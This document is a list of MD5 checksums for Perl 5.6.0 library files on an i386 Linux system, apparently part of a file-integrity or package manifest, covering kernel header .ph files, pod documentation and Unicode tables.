+1c5a2cb45d02c11537449c35f61e68e2 /usr/lib/perl5/5.6.0/i386-linux/linux/sdlasfm.ph +e93c1432794be7f1b5794cdc18de5a3c /usr/lib/perl5/5.6.0/i386-linux/linux/securebits.ph +4ea11a7bc3480ae947139d38cfbc3bbd /usr/lib/perl5/5.6.0/i386-linux/linux/selection.ph +f7fff2f7dc6d07dc62c640ade57e1f45 /usr/lib/perl5/5.6.0/i386-linux/linux/sem.ph +f9d28ce9468a1ba1d7c9dd0cc70e6684 /usr/lib/perl5/5.6.0/i386-linux/linux/sensors.ph +5a8167ccaf174806a5793bed0fc32e6a /usr/lib/perl5/5.6.0/i386-linux/linux/serial.ph +8d3dd8d946470c58e43d49019fc7fbff /usr/lib/perl5/5.6.0/i386-linux/linux/serial167.ph +69bbd3681fd586a71f4adeee58144f5d /usr/lib/perl5/5.6.0/i386-linux/linux/serialP.ph +d0e9c3340c957f03418a4a9ef77dce0c /usr/lib/perl5/5.6.0/i386-linux/linux/serial_reg.ph +109a21638397f1d77fd8b97c92a832c9 /usr/lib/perl5/5.6.0/i386-linux/linux/serio.ph +56fe50d14b5f8e565c885fc7cd1e3b0a /usr/lib/perl5/5.6.0/i386-linux/linux/shm.ph +037c840e3e6d8479963d4884c29cbf06 /usr/lib/perl5/5.6.0/i386-linux/linux/shmem_fs.ph +893f423086962bc724b6f8db3a4b9b81 /usr/lib/perl5/5.6.0/i386-linux/linux/signal.ph +6357dadb6e100e9fc93ff65d96945dde /usr/lib/perl5/5.6.0/i386-linux/linux/sisfb.ph +59359e886de41e658bc59702429ba0aa /usr/lib/perl5/5.6.0/i386-linux/linux/skbuff.ph +e04bf1e087a05c735e57822abf99813f /usr/lib/perl5/5.6.0/i386-linux/linux/slab.ph +960ededc718a0b0bb663f547cf57f45a /usr/lib/perl5/5.6.0/i386-linux/linux/smb.ph +019b1e8fa06da5774aa20e6c79954b21 /usr/lib/perl5/5.6.0/i386-linux/linux/smb_fs.ph +72e7121cd57aa6ff2d26e582d1c74d14 /usr/lib/perl5/5.6.0/i386-linux/linux/smb_fs_i.ph +0699855dc5ca1d2e9401adb49269922f /usr/lib/perl5/5.6.0/i386-linux/linux/smb_fs_sb.ph +a17e897608dca4f366c862bce4a229f2 /usr/lib/perl5/5.6.0/i386-linux/linux/smb_mount.ph +85832d0289b1cb6ad4d715cc55671f46 /usr/lib/perl5/5.6.0/i386-linux/linux/smbno.ph +910ea9b89bfb1a644afa7ba180d96e9a /usr/lib/perl5/5.6.0/i386-linux/linux/smp.ph +bce8bedc7b762b63184dde0291875013 /usr/lib/perl5/5.6.0/i386-linux/linux/smp_lock.ph +eee4bfded0168c228e9265417135479c /usr/lib/perl5/5.6.0/i386-linux/linux/socket.ph +78b1042e36625aad328f3af2d4fd0344 /usr/lib/perl5/5.6.0/i386-linux/linux/sockios.ph +9a7f862cd6df03452e5578c1b9e17470 /usr/lib/perl5/5.6.0/i386-linux/linux/som.ph +50f735176335cb7860cc66ed59da2732 /usr/lib/perl5/5.6.0/i386-linux/linux/sonet.ph +add41bc36b004bfadaf98deb48c0c594 /usr/lib/perl5/5.6.0/i386-linux/linux/sonypi.ph +07d49c2c3a4850084c7c7f3a8c1ca249 /usr/lib/perl5/5.6.0/i386-linux/linux/sound.ph +97ff5dd73427a21775c6d7c22ee1ba38 /usr/lib/perl5/5.6.0/i386-linux/linux/soundcard.ph +6a3976462e13b88271646d096b3256c8 /usr/lib/perl5/5.6.0/i386-linux/linux/soundmodem.ph +08d1adb9e46f9212051bed42a4d324a3 /usr/lib/perl5/5.6.0/i386-linux/linux/spinlock.ph +de0587e786c476a854cadc200e505278 /usr/lib/perl5/5.6.0/i386-linux/linux/stallion.ph +eed2685ccb81a06f066a13d96ff16562 /usr/lib/perl5/5.6.0/i386-linux/linux/stat.ph +984f2693ea27b445a7d3943b9203ded8 /usr/lib/perl5/5.6.0/i386-linux/linux/stddef.ph +be5a6fa55c0ea8406be22280810d1c02 /usr/lib/perl5/5.6.0/i386-linux/linux/string.ph +1f6b679a5a98928ba4635288c13fca51 /usr/lib/perl5/5.6.0/i386-linux/linux/swap.ph +9b24606374d44a454a4877717156971a /usr/lib/perl5/5.6.0/i386-linux/linux/swapctl.ph +425aca52fefd0989887f89988a393a0d /usr/lib/perl5/5.6.0/i386-linux/linux/synclink.ph +d5b7b1563619f547496540705450dd06 /usr/lib/perl5/5.6.0/i386-linux/linux/sys.ph +6a846e8ea93e33e8dfdc293a50b26998 /usr/lib/perl5/5.6.0/i386-linux/linux/syscall.ph +5edcd5f2b45dac05539d655aaae18d89 /usr/lib/perl5/5.6.0/i386-linux/linux/sysctl.ph +e97924f47694e81eb7de27c8410203a1 /usr/lib/perl5/5.6.0/i386-linux/linux/sysrq.ph +fd61b7fecaeef27e1f9865bfda314e2e /usr/lib/perl5/5.6.0/i386-linux/linux/sysv_fs.ph +3dc9724dd9bff4538c50d6ab602ee79a /usr/lib/perl5/5.6.0/i386-linux/linux/sysv_fs_i.ph +c42f99bf1ea55fb22371f181c0ef4b56 /usr/lib/perl5/5.6.0/i386-linux/linux/sysv_fs_sb.ph +2a387556fed2f473bc10ea44aa78b765 /usr/lib/perl5/5.6.0/i386-linux/linux/tcp.ph +efeff64fe162b17e01abed9599184d26 /usr/lib/perl5/5.6.0/i386-linux/linux/telephony.ph +9810518c3f7e094e8ecce429adc7e4a4 /usr/lib/perl5/5.6.0/i386-linux/linux/termios.ph +047788296bf4ddf27fd8e5be5e3b8fac /usr/lib/perl5/5.6.0/i386-linux/linux/threads.ph +b9b4b659a2cef9f4f59032bb1ff8bab6 /usr/lib/perl5/5.6.0/i386-linux/linux/time.ph +465acac9ec9cfc570c446a8cfe64f830 /usr/lib/perl5/5.6.0/i386-linux/linux/timer.ph +d71d90bd412c93b3036b2a6478a7e135 /usr/lib/perl5/5.6.0/i386-linux/linux/times.ph +71c9571845adf48ad08911ec7a9e4f85 /usr/lib/perl5/5.6.0/i386-linux/linux/timex.ph +54d1b9416058b0dca93c82bc8321099b /usr/lib/perl5/5.6.0/i386-linux/linux/tlb.ph +7789953e63366b27f1c5a909bc3272cf /usr/lib/perl5/5.6.0/i386-linux/linux/toshiba.ph +38896b25fa04917de0afc170f20784de /usr/lib/perl5/5.6.0/i386-linux/linux/tpqic02.ph +30c24f4291a42e43ee62ebe4346e2d87 /usr/lib/perl5/5.6.0/i386-linux/linux/tqueue.ph +abe855156eb34c86e01c88d7f2aff2fe /usr/lib/perl5/5.6.0/i386-linux/linux/trdevice.ph +fb5915874616a80587d7374a4af79322 /usr/lib/perl5/5.6.0/i386-linux/linux/tty.ph +b23afcaef9bc90362bb1c1270b2d9798 /usr/lib/perl5/5.6.0/i386-linux/linux/tty_driver.ph +888719d98271c813abb92b0940b6e8e5 /usr/lib/perl5/5.6.0/i386-linux/linux/tty_flip.ph +820b6d90039b0a994ceb5e740ee2e78f /usr/lib/perl5/5.6.0/i386-linux/linux/tty_ldisc.ph +115caf688d814b1b151c3385ad51d749 /usr/lib/perl5/5.6.0/i386-linux/linux/types.ph +f165598fed40cadea6b261777af3b775 /usr/lib/perl5/5.6.0/i386-linux/linux/udf_167.ph +b3f96f6b656f19b3287dea8c13db1287 /usr/lib/perl5/5.6.0/i386-linux/linux/udf_fs.ph +bfae6db7b0ada84da0e68de9c1f46aad /usr/lib/perl5/5.6.0/i386-linux/linux/udf_fs_i.ph +85555444e0a8450b971a6870336abca8 /usr/lib/perl5/5.6.0/i386-linux/linux/udf_fs_sb.ph +90ff9e30bf89fa52a697f349f67588b3 /usr/lib/perl5/5.6.0/i386-linux/linux/udf_udf.ph +fbc443fe6973157df3c3c104429b0f81 /usr/lib/perl5/5.6.0/i386-linux/linux/udp.ph +cd16c4ad3c52dff5198bf795b54bb5d7 /usr/lib/perl5/5.6.0/i386-linux/linux/ufs_fs.ph +967aaabd29ee942aede909022a5f0c05 /usr/lib/perl5/5.6.0/i386-linux/linux/ufs_fs_i.ph +540dce57787c87dff38790e0806f6f42 /usr/lib/perl5/5.6.0/i386-linux/linux/ufs_fs_sb.ph +4460aaf6074aad7b5a581e93d1a31e53 /usr/lib/perl5/5.6.0/i386-linux/linux/uio.ph +1c9ff384bcad79b9fa21b1997495b02c /usr/lib/perl5/5.6.0/i386-linux/linux/ultrasound.ph +4b48918dd44e3e93e793fd620789de38 /usr/lib/perl5/5.6.0/i386-linux/linux/umsdos_fs.ph +058905b6c784d13cfbff1ebab130fade /usr/lib/perl5/5.6.0/i386-linux/linux/umsdos_fs_i.ph +1e8f3714e6e69938766029ecc762af29 /usr/lib/perl5/5.6.0/i386-linux/linux/un.ph +623135fca6dc596a2e711162f796abd5 /usr/lib/perl5/5.6.0/i386-linux/linux/unistd.ph +0fbfb900ec796a5ff833cb07697dba98 /usr/lib/perl5/5.6.0/i386-linux/linux/usb.ph +6e5e26aa34e13307f80d1a0a588d2340 /usr/lib/perl5/5.6.0/i386-linux/linux/usbdev_fs_i.ph +6e5e26aa34e13307f80d1a0a588d2340 /usr/lib/perl5/5.6.0/i386-linux/linux/usbdev_fs_sb.ph +c48da376fc12e7f57e8ea4210eaddcf2 /usr/lib/perl5/5.6.0/i386-linux/linux/usbdevice_fs.ph +3a6f0d82a323d83407cf8c4adaca03d9 /usr/lib/perl5/5.6.0/i386-linux/linux/user.ph +1df9584954daa01bbea87dff5f5b6838 /usr/lib/perl5/5.6.0/i386-linux/linux/utime.ph +8f08fb073b2d9b9db7f2f5f1bcfe77ec /usr/lib/perl5/5.6.0/i386-linux/linux/uts.ph +1adb2be62205456353e6d455db05a2e8 /usr/lib/perl5/5.6.0/i386-linux/linux/utsname.ph +3436edb012ece2e6c314fa98410887cb /usr/lib/perl5/5.6.0/i386-linux/linux/version.ph +a2968c76b1fa8994a47a2a446cff51f1 /usr/lib/perl5/5.6.0/i386-linux/linux/vfs.ph +84f9d83542b2be7f477b45e5a318fd5c /usr/lib/perl5/5.6.0/i386-linux/linux/video_decoder.ph +751d74ce711d6ba4663b906b98f1ab19 /usr/lib/perl5/5.6.0/i386-linux/linux/video_encoder.ph +d8f08ea6e8bfc1d81d2bae24873ce14c /usr/lib/perl5/5.6.0/i386-linux/linux/videodev.ph +1adbf924550edf15d78f6425f9e8808b /usr/lib/perl5/5.6.0/i386-linux/linux/videotext.ph +fbc827307fd8d97cf54a66262c3a1760 /usr/lib/perl5/5.6.0/i386-linux/linux/vmalloc.ph +3ccb53e9d478d12505247760dc60072d /usr/lib/perl5/5.6.0/i386-linux/linux/vt.ph +9c24ed2ebaaea6f09b0ed8cf1840bb0f /usr/lib/perl5/5.6.0/i386-linux/linux/vt_buffer.ph +9dd6c1b6936a0a9afb3cfc6a99a035ee /usr/lib/perl5/5.6.0/i386-linux/linux/vt_kern.ph +3e9ef1ce7a449e9199c3ed6742266ac8 /usr/lib/perl5/5.6.0/i386-linux/linux/wait.ph +a3638098045fdc757541a59170e8e285 /usr/lib/perl5/5.6.0/i386-linux/linux/wanpipe.ph +822eed56dc01b1731379acb8cd26b53d /usr/lib/perl5/5.6.0/i386-linux/linux/wanrouter.ph +1853dd0d689d37b03537020525556e51 /usr/lib/perl5/5.6.0/i386-linux/linux/watchdog.ph +a06c9ea3b69296883c664ddfd4c04959 /usr/lib/perl5/5.6.0/i386-linux/linux/wavefront.ph +9ecd7de3ef6309a9b0a53655a977c9b2 /usr/lib/perl5/5.6.0/i386-linux/linux/wireless.ph +05f10049614ed81140380de36db7de52 /usr/lib/perl5/5.6.0/i386-linux/linux/wrapper.ph +c5b46bb90623bf531c4c83bb347cbf8f /usr/lib/perl5/5.6.0/i386-linux/linux/x25.ph +7f44954492e5c70861125ae5bf19245b /usr/lib/perl5/5.6.0/i386-linux/linux/yam.ph +3aaf81661820ce186f0ef4bb84205f1b /usr/lib/perl5/5.6.0/i386-linux/linux/zftape.ph +d50574e6a58e187e789edc2f69a5efc0 /usr/lib/perl5/5.6.0/i386-linux/linux/zorro.ph +3707e7550c3d8515c11309f1175db1b2 /usr/lib/perl5/5.6.0/i386-linux/linux/zorro_ids.ph +786509939d91a22fc116dab28552b947 /usr/lib/perl5/5.6.0/i386-linux/scsi/scsi_ioctl.ph +8a1bb4db1818773911b906123c9ef1b9 /usr/lib/perl5/5.6.0/i386-linux/scsi/scsi.ph +af6eea0e2e9ccc43464922403d1eade3 /usr/lib/perl5/5.6.0/i386-linux/scsi/sg.ph +447ec3d39cb58206cd678e282f3150e9 /usr/lib/perl5/5.6.0/i386-linux/ops.pm +294f259905b2b0119d31841207a43509 /usr/lib/perl5/5.6.0/i386-linux/re.pm +135b092fb4d40a9f032131451aa036d7 /usr/lib/perl5/5.6.0/flush.pl +73d4dd23f080742f4efd35240391fc18 /usr/lib/perl5/5.6.0/ftp.pl +745889534dad81e7d43e9a94e6a46d2a /usr/lib/perl5/5.6.0/getcwd.pl +94016ca71fe72d62f9f49c39df7648e2 /usr/lib/perl5/5.6.0/getopt.pl +952dc1a4e9e9fb55ff7d1756ab42ef33 /usr/lib/perl5/5.6.0/getopts.pl +460671d49c39da16104f621d2fff92a0 /usr/lib/perl5/5.6.0/hostname.pl +ca853cf498e8c3f8e1c85788a50bbe48 /usr/lib/perl5/5.6.0/pod/perl5004delta.pod +69bf2cf3b7782b39876a89e4c196ea99 /usr/lib/perl5/5.6.0/pod/Win32.pod +1f98e10f62d7014987b55fc9d14cd4c5 /usr/lib/perl5/5.6.0/pod/perl.pod +f66bc53ebe541fda4db0d6929b63cd90 /usr/lib/perl5/5.6.0/pod/perl5005delta.pod +54af7e69955948c529967887aef00919 /usr/lib/perl5/5.6.0/pod/perlamiga.pod +3d603a07c9a98d6dea34bea51fe47602 /usr/lib/perl5/5.6.0/pod/perlapi.pod +d24f8bb54847a8922852f7bda37acc26 /usr/lib/perl5/5.6.0/pod/perlapio.pod +32f516e41c88010e8c6e8c5d3fa57d38 /usr/lib/perl5/5.6.0/pod/perlbook.pod +e55880ae3c5c30dfeb01aaad01580dc1 /usr/lib/perl5/5.6.0/pod/perlboot.pod +10ebcb734f7aeaf8b54245b3c3fa709d /usr/lib/perl5/5.6.0/pod/perlbot.pod +e288240a30adc7b0089305e67810043d /usr/lib/perl5/5.6.0/pod/perlcall.pod +69b89d8c05d40b96d8d22eb2dbea7a2e /usr/lib/perl5/5.6.0/pod/perlcompile.pod +1c8a277cf0fb44b21e9aa87ec5330fb1 /usr/lib/perl5/5.6.0/pod/perlcygwin.pod +11325ae0d427e4706891ae756128f358 /usr/lib/perl5/5.6.0/pod/perldata.pod +240112550739cdd8efa340354c2374e4 /usr/lib/perl5/5.6.0/pod/perldbmfilter.pod +d968b9616296e8a55f2a3f2c1d76f741 /usr/lib/perl5/5.6.0/pod/perldebguts.pod +be460fb14394af65ac07110d2ece9cce /usr/lib/perl5/5.6.0/pod/perldebug.pod +028b7f70448fcce7438141079e363d35 /usr/lib/perl5/5.6.0/pod/perldelta.pod +9ee8cfa423c1609dc11de716b94517bb /usr/lib/perl5/5.6.0/pod/perldiag.pod +b4b758409a60784785dd7eca1e95446c /usr/lib/perl5/5.6.0/pod/perldos.pod +cc30ef9807782063bf65d942dada5687 /usr/lib/perl5/5.6.0/pod/perldsc.pod +d7a03f69879fe6b2ebd68ca300a5467d /usr/lib/perl5/5.6.0/pod/perlembed.pod +d1e09c099416e96a90df3d9e207a6769 /usr/lib/perl5/5.6.0/pod/perlfaq.pod +2a590dcf2b346b8d5bdac444b90ac3f6 /usr/lib/perl5/5.6.0/pod/perlfaq1.pod +a5276375b7ec6b783d48a4ad21093a3c /usr/lib/perl5/5.6.0/pod/perlfaq2.pod +683319351b5123372621fa52a971c8c7 /usr/lib/perl5/5.6.0/pod/perlfaq3.pod +9fbd6fd0fb3e0627db34d4ea3bd5dd60 /usr/lib/perl5/5.6.0/pod/perlfaq4.pod +1f949cd5f95e3c455879ff807d566ed6 /usr/lib/perl5/5.6.0/pod/perlfaq5.pod +e4f310eb8ea53b7256934711ecd2125d /usr/lib/perl5/5.6.0/pod/perlfaq6.pod +b9f221fb5e75c196cbceed18aeba3485 /usr/lib/perl5/5.6.0/pod/perlfaq7.pod +bf72782f8762655f018dadeeaa93b9c8 /usr/lib/perl5/5.6.0/pod/perlfaq8.pod +46415030abbf8090a8b62a0d2ffe1e35 /usr/lib/perl5/5.6.0/pod/perlfaq9.pod +033c5835ad67522de8d9b792fc92ba8b /usr/lib/perl5/5.6.0/pod/perlfilter.pod +1399862f69cb5b620c7619499ce287a2 /usr/lib/perl5/5.6.0/pod/perlfork.pod +02dede52cb6c85260b8f826e856e786e /usr/lib/perl5/5.6.0/pod/perlform.pod +e402cc2f5d715f9b2bd6f43c8edd64d6 /usr/lib/perl5/5.6.0/pod/perlfunc.pod +861c511b6b4a1ef7585a8201cd3d16e5 /usr/lib/perl5/5.6.0/pod/perlguts.pod +02315033307f6377c2c0edaf0d193af6 /usr/lib/perl5/5.6.0/pod/perlhack.pod +f112eee27389026985c274ab3235fb37 /usr/lib/perl5/5.6.0/pod/perlhist.pod +15714ba7b97c09ec765a9fbbb8c848cc /usr/lib/perl5/5.6.0/pod/perlhpux.pod +08a4e2c1ce9dd124832a0574e3da9107 /usr/lib/perl5/5.6.0/pod/perlintern.pod +c0d4765e7c2f70cb2de7909b4f427ffc /usr/lib/perl5/5.6.0/pod/perlipc.pod +6551bc1801c8704f29830192c8809f01 /usr/lib/perl5/5.6.0/pod/perllexwarn.pod +703d447f8bec22a92d54a3959828a37e /usr/lib/perl5/5.6.0/pod/perllocale.pod +e5c09086d4c30f4ed9cdb74f578dec2f /usr/lib/perl5/5.6.0/pod/perllol.pod +3e5ef9d98dc76a40a056fa1bbd82d18a /usr/lib/perl5/5.6.0/pod/perlmachten.pod +d06a95855f3ae9a2d4500a6e97852c1b /usr/lib/perl5/5.6.0/pod/perlmod.pod +f34f935ed0a7f0608b23d643f63d295b /usr/lib/perl5/5.6.0/pod/perlmodinstall.pod +9f111d368de4a5424d5005ce45119e5a /usr/lib/perl5/5.6.0/pod/perlmodlib.pod +583b9df2f750d7cda063c9ce59df6bd1 /usr/lib/perl5/5.6.0/pod/perlnumber.pod +1badf0b733900c9cf0c1900e8896f58e /usr/lib/perl5/5.6.0/pod/perlobj.pod +a8a73a195a1f5e6a7bc15cbd5ef194cc /usr/lib/perl5/5.6.0/pod/perlop.pod +f7c851cf604cef5741978ed5a415e0e5 /usr/lib/perl5/5.6.0/pod/perlopentut.pod +8695e8a81d4aa40323d37d18a2e1a6cd /usr/lib/perl5/5.6.0/pod/perlos2.pod +7e092e2bea908f30e734a1b518e7eb6c /usr/lib/perl5/5.6.0/pod/perlos390.pod +f55a0f04ced1ebf5920f4b2d48d831b4 /usr/lib/perl5/5.6.0/pod/perlpod.pod +938839909073854187c8c3da07a23af4 /usr/lib/perl5/5.6.0/pod/perlport.pod +b787f1a43f6d4b9d2cc695ea30cfab64 /usr/lib/perl5/5.6.0/pod/perlre.pod +872fd29eab2a3b58329fa543f88122f5 /usr/lib/perl5/5.6.0/pod/perlref.pod +387d716429875456e9c8ed43c2c29aac /usr/lib/perl5/5.6.0/pod/perlreftut.pod +8e2d7e5fc8a924aa2d5e14b840d81667 /usr/lib/perl5/5.6.0/pod/perlrun.pod +768ac7f9ec80fe077a1b7f91e0df6fc6 /usr/lib/perl5/5.6.0/pod/perlsec.pod +582f042199e84201ec34c18ffe531bc4 /usr/lib/perl5/5.6.0/pod/perlstyle.pod +8e076dbe58f8cd3a39a8ea3425c3611a /usr/lib/perl5/5.6.0/pod/perlsub.pod +5565475bc8e01c7037f3a6adac7adcc8 /usr/lib/perl5/5.6.0/pod/perlsyn.pod +44145a310bb3096a9fd5b1b65745bc9a /usr/lib/perl5/5.6.0/pod/perlthrtut.pod +3c3744d8e8290073322a02d212d4cad2 /usr/lib/perl5/5.6.0/pod/perltie.pod +f834103fa949dbbb9e79d9cbf93c9e62 /usr/lib/perl5/5.6.0/pod/perltoc.pod +f895729f59e84cea3f64e71020e6f02d /usr/lib/perl5/5.6.0/pod/perltodo.pod +802534dbcf4c515e4fface8f4b7520ed /usr/lib/perl5/5.6.0/pod/perltoot.pod +7624b52618094c5d661672aba748574a /usr/lib/perl5/5.6.0/pod/perltootc.pod +6bd61d005cf622d983b1a45552986f14 /usr/lib/perl5/5.6.0/pod/perltrap.pod +d1dd83610f595da5c41d37e7ea44079e /usr/lib/perl5/5.6.0/pod/perlunicode.pod +82a2a73fdb6fbfb7c62a96cc85d09a57 /usr/lib/perl5/5.6.0/pod/perlvar.pod +996c761ac9b625e93944ef8661f01966 /usr/lib/perl5/5.6.0/pod/perlvms.pod +df4f6076e586bfc771c1c662e9cf2ca4 /usr/lib/perl5/5.6.0/pod/perlwin32.pod +44206019410f17fc5ebaea01a141c5a8 /usr/lib/perl5/5.6.0/pod/perlxs.pod +c94ded7a8ab366b20d67b7fb450a7fa7 /usr/lib/perl5/5.6.0/pod/perlxstut.pod +1a75c3e3f4cfdfc5d71c6fc79faaf18e /usr/lib/perl5/5.6.0/pwd.pl +aa0c1648adf598c551e87f967a1902fb /usr/lib/perl5/5.6.0/importenv.pl +5f1c0e107c7e41774c12b7b1d2c4aa84 /usr/lib/perl5/5.6.0/integer.pm +22a4b52583176fa0dfd9e22312eee530 /usr/lib/perl5/5.6.0/less.pm +9308133eb5c6f5acad7ec0df84ba039c /usr/lib/perl5/5.6.0/lib.pm +bc7c65d92f6147d889a5ccde18aa612a /usr/lib/perl5/5.6.0/locale.pm +0a7b3990278e6ddca5b79f715576920f /usr/lib/perl5/5.6.0/look.pl +178d719fa17a1ae0f598ad7d1f87fb2f /usr/lib/perl5/5.6.0/newgetopt.pl +6d33a11fc1b5a7b70b9bf5a6e952f924 /usr/lib/perl5/5.6.0/open.pm +dd1e2c8605921b889e5a8be0d368c7f9 /usr/lib/perl5/5.6.0/open2.pl +01f765cb2ddfc8ddb163e969c93d603e /usr/lib/perl5/5.6.0/open3.pl +6832b2df89ef4fcf8af8f7f206b070bd /usr/lib/perl5/5.6.0/overload.pm +17734f91d1091d420f3ecb0d5aed26d1 /usr/lib/perl5/5.6.0/perl5db.pl +610533514a09637fa0535132078eb5aa /usr/lib/perl5/5.6.0/unicode/ArabLnkGrp.pl +2e19ead3469ed486d310864ddf26de34 /usr/lib/perl5/5.6.0/unicode/ArabLink.pl +0d8eb863fcc8fe6eb9cf8a05397f2d3b /usr/lib/perl5/5.6.0/unicode/Bidirectional.pl +b1fae3d06a067554cf0730dd7c343739 /usr/lib/perl5/5.6.0/unicode/ArabShap.txt +04c5c8a6fb9268acd00f0a2c9bb5b898 /usr/lib/perl5/5.6.0/unicode/CombiningClass.pl +82ee7ed7b7097a94e5e43759e6ead5a4 /usr/lib/perl5/5.6.0/unicode/Block.pl +ef4b09d90de627a4acbe1fe57fb399ec /usr/lib/perl5/5.6.0/unicode/Blocks.txt +2424685abe170d972854c158fae1b315 /usr/lib/perl5/5.6.0/unicode/Category.pl +a53dea62552b866dfea7b5b21b2e5eae /usr/lib/perl5/5.6.0/unicode/Decomposition.pl +85e2a4a4e13f0585b6425fdd2df71054 /usr/lib/perl5/5.6.0/unicode/CompExcl.txt +4ef2da44e98ae1a9166ff0dabe5487d3 /usr/lib/perl5/5.6.0/unicode/In/BasicLatin.pl +78581f29bcd8079071ce7e97150df5e3 /usr/lib/perl5/5.6.0/unicode/In/Arabic.pl +97512c8e30579e7386c93722604fa941 /usr/lib/perl5/5.6.0/unicode/In/AlphabeticPresentationForms.pl +6e7a598a3ed5a06a688f8f954b1bb860 /usr/lib/perl5/5.6.0/unicode/In/Armenian.pl +7b0a796d342cf008d4ef474541081c2a /usr/lib/perl5/5.6.0/unicode/In/Arrows.pl +817788fa4dcae4318af8bfaa9750456f /usr/lib/perl5/5.6.0/unicode/In/ArabicPresentationForms-A.pl +96dab79100aafe86c5e5ff7a3f4b309a /usr/lib/perl5/5.6.0/unicode/In/ArabicPresentationForms-B.pl +f38bd812c141c3eb213e987f42255d75 /usr/lib/perl5/5.6.0/unicode/In/BlockElements.pl +4b2fd16fe40cd9d6350c6b7dd3530805 /usr/lib/perl5/5.6.0/unicode/In/Bengali.pl +dd807746951965162f98242ec96971a9 /usr/lib/perl5/5.6.0/unicode/In/BopomofoExtended.pl +39575e23a8eec141c763faec0c4989e3 /usr/lib/perl5/5.6.0/unicode/In/Bopomofo.pl +792755c00e2f7b18a061178a326e16de /usr/lib/perl5/5.6.0/unicode/In/BraillePatterns.pl +8496a2970efbd09901becb5c7c59f191 /usr/lib/perl5/5.6.0/unicode/In/BoxDrawing.pl +1613c8d6e0d2b9544f1783cbf188db3e /usr/lib/perl5/5.6.0/unicode/In/CJKCompatibilityForms.pl +ada51588f3d0e62c8f754741af17336c /usr/lib/perl5/5.6.0/unicode/In/CJKCompatibility.pl +96498197cb097eaf50478b1f9d57c620 /usr/lib/perl5/5.6.0/unicode/In/CJKUnifiedIdeographsExtensionA.pl +661576eed3dd66f51dce0e20384385e8 /usr/lib/perl5/5.6.0/unicode/In/CJKCompatibilityIdeographs.pl +0a4e91ce911d7c5520b17ddf766f27da /usr/lib/perl5/5.6.0/unicode/In/CJKRadicalsSupplement.pl +e63c8f03db6d45df4290e83ce73966e0 /usr/lib/perl5/5.6.0/unicode/In/CJKSymbolsandPunctuation.pl +f2d02422b46e95dde288f5611d64479a /usr/lib/perl5/5.6.0/unicode/In/CJKUnifiedIdeographs.pl +81e9d0a5a957b611be4bcb20b6f3e2ee /usr/lib/perl5/5.6.0/unicode/In/ControlPictures.pl +66d05a4ebad385b4e0924e32911a7ab3 /usr/lib/perl5/5.6.0/unicode/In/Cherokee.pl +2fb149b83f6b0088b9ebae7d5163c8fc /usr/lib/perl5/5.6.0/unicode/In/Devanagari.pl +2804d348b81deadf554c8c3e0b081cdc /usr/lib/perl5/5.6.0/unicode/In/Cyrillic.pl +404964a83fbefc974a0d892709d88ba9 /usr/lib/perl5/5.6.0/unicode/In/CombiningDiacriticalMarks.pl +351018e5a17984ac1ec6aa9ea34087f4 /usr/lib/perl5/5.6.0/unicode/In/CombiningHalfMarks.pl +6cc1dba212730d8663c632cf587a5a62 /usr/lib/perl5/5.6.0/unicode/In/CombiningMarksforSymbols.pl +2f60e580656a3b5b370c405cb16d659d /usr/lib/perl5/5.6.0/unicode/In/CurrencySymbols.pl +3ff4598ff34a1a33ef4f5457bd824a8f /usr/lib/perl5/5.6.0/unicode/In/GeometricShapes.pl +a363b5c7d9e1ac1dd8d754572b45d2b7 /usr/lib/perl5/5.6.0/unicode/In/Dingbats.pl +1adf2933bd1dfd57b09f8d9ff5bbef8f /usr/lib/perl5/5.6.0/unicode/In/EnclosedCJKLettersandMonths.pl +b238a44a0bf46f93f641474732e685c8 /usr/lib/perl5/5.6.0/unicode/In/EnclosedAlphanumerics.pl +1a5be3ce1d749710490a8c240942ac3b /usr/lib/perl5/5.6.0/unicode/In/Ethiopic.pl +429ab93651b65f4dba9816e691127b42 /usr/lib/perl5/5.6.0/unicode/In/HalfwidthandFullwidthForms.pl +886394aedc96c38c35c0569a9b570b34 /usr/lib/perl5/5.6.0/unicode/In/GeneralPunctuation.pl +07aff6066996de841a3f69996e7083e1 /usr/lib/perl5/5.6.0/unicode/In/Georgian.pl +e7b31c7ed00b2ac7cd9f96fba57908c7 /usr/lib/perl5/5.6.0/unicode/In/Greek.pl +7f27d26f433d94513f548999990fd773 /usr/lib/perl5/5.6.0/unicode/In/GreekExtended.pl +1bf6f411799f240ca2d1376220e7a168 /usr/lib/perl5/5.6.0/unicode/In/Gujarati.pl +5318decf85a4b7d88e536170bd372289 /usr/lib/perl5/5.6.0/unicode/In/Gurmukhi.pl +66790b25a1c1bba2082fe3947fad52ce /usr/lib/perl5/5.6.0/unicode/In/IdeographicDescriptionCharacters.pl +045ce73c0b544007fc101b49b8951270 /usr/lib/perl5/5.6.0/unicode/In/HangulCompatibilityJamo.pl +8b7fc9b7d6436286eb49874c713b53d6 /usr/lib/perl5/5.6.0/unicode/In/HangulJamo.pl +8dba96bc087c17d319a9f2e50d5be62a /usr/lib/perl5/5.6.0/unicode/In/HangulSyllables.pl +777250d292d338e534cb25aa228ed473 /usr/lib/perl5/5.6.0/unicode/In/Hebrew.pl +b83844a4f6521f3ae0711a3205a46f3c /usr/lib/perl5/5.6.0/unicode/In/HighPrivateUseSurrogates.pl +c26739e26af001869ecea7205d0b797b /usr/lib/perl5/5.6.0/unicode/In/HighSurrogates.pl +db07ea051ad2016d0756022cd5566bb5 /usr/lib/perl5/5.6.0/unicode/In/Hiragana.pl +451b01fddcc17d7a77f867fb1a80cc06 /usr/lib/perl5/5.6.0/unicode/In/IPAExtensions.pl +6fe3d967f771a441d258945387f11216 /usr/lib/perl5/5.6.0/unicode/In/KangxiRadicals.pl +179edbaf1dc588cb4d7a5b7e119e6cff /usr/lib/perl5/5.6.0/unicode/In/Kanbun.pl +fb62e89d25093dda11bf40aefa63bef3 /usr/lib/perl5/5.6.0/unicode/In/Latin-1Supplement.pl +5a0dd96a29259e30773f45a5e9b80263 /usr/lib/perl5/5.6.0/unicode/In/Kannada.pl +6fc2560d94e8745c43e9d800c2d4a0a7 /usr/lib/perl5/5.6.0/unicode/In/Katakana.pl +b0c2d185ab6ebd5de3f924e586baac30 /usr/lib/perl5/5.6.0/unicode/In/Khmer.pl +c8532eef320d793e9f3754b15157bdd4 /usr/lib/perl5/5.6.0/unicode/In/Lao.pl +e27c6073658240b83d48dcca6cc30473 /usr/lib/perl5/5.6.0/unicode/In/LatinExtendedAdditional.pl +f379778b6af2bcad0b43424d12fa059d /usr/lib/perl5/5.6.0/unicode/In/LatinExtended-A.pl +961db9f3081f5295a93f79e141d271f1 /usr/lib/perl5/5.6.0/unicode/In/LatinExtended-B.pl 